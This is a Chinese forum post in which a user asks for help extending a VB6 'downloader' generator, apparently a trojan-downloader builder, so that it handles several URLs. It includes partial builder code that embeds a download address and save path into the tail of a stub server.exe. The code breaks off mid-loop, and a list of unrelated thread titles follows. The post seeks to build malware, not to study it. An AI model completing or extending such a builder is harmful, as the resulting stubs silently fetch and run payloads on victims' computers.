写多项下载者遇到的问题

我想写个多项下载者生成器 下面的代码是单项的，该怎么改才能变成多项的？请说详细点最好把改好的发出来．或留下联系方式．谢谢！～～

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
生成器
Const FILE_SIZE = 20480 '这是101号资源中的服务端文件1.exe的大小确定了服务端的大小才能把信息写到尾部
Private Sub Command1_Click()
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim i As Integer, lFile As Long
str2 = Trim(Text1.Text) '这个是下载的地址
str3 = Trim(Text2.Text) '这个是保存的路径
str1 = str2 & "#" & str3 '加个#号是为了方便服务端将地址和路径分离出来
iInfoLen = Len(str1)
If Text1.Text = "" And Text2.Text = "" Then
MsgBox "请输入正确的下载地址和保存路径！", , "提示!"
Exit Sub
End If
On Error GoTo myErr:
bFile = LoadResData(101, "CUSTOM") '读出101号资源
Open App.Path & "\server.exe" For Binary Access Write As #1 '以二进制的方式打开资源文件即101
For lFile = 0 To FILE_SIZE - 1

写多项下载者遇到的问题 下载遇到的问题？ 穿墙自启动多项下载者 关于蒸汽幻想的多项问题 BT下载遇到的问题 下载游戏遇到的问题 下载影片遇到的问题 求助：下载遇到的问题 下载pplive遇到的问题 下载QQ遇到的问题!